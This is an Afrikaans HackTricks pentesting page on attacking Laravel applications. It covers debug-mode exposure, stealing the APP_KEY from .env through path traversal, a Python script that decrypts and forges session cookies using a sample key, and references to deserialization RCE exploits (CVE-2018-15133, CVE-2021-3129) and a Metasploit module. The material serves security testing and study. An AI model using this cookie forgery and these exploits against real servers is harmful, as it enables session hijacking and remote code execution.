# Laravel

<details>

<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## Laravel Truuks

### Debug-modus

As Laravel in **debug-modus** is, sal jy toegang hê tot die **kode** en **sensitiewe data**.\
Byvoorbeeld `http://127.0.0.1:8000/profiles`:

![](<../../.gitbook/assets/image (1043).png>)

Dit is gewoonlik nodig vir die uitbuiting van ander Laravel RCE CVE's.

### .env

Laravel stoor die APP wat dit gebruik om die koekies en ander geloofsbriewe te enkripteer binne 'n lêer genaamd `.env` wat toeganklik is deur 'n padtraversie onder: `/../.env`

Laravel sal ook hierdie inligting wys op die foutopsporingsbladsy (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is).

Met die geheime APP\_KEY van Laravel kan jy koekies ontsluit en her-enkripteer:

### Ontsleutel Koekie
```python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
```
### Laravel Deserialisasie RCE

Vulnereerbare weergawes: 5.5.40 en 5.6.x tot 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))

Hier kan jy inligting oor die deserialisasie kwesbaarheid vind: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)

Jy kan dit toets en uitbuit met [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Of jy kan dit ook uitbuit met metasploit: `use unix/http/laravel_token_unserialize_exec`

### CVE-2021-3129

'n Ander deserialisasie: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)

### Laravel SQLInjection

Lees inligting hieroor hier: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)

<details>

<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Werk jy by 'n **cybersecurity maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>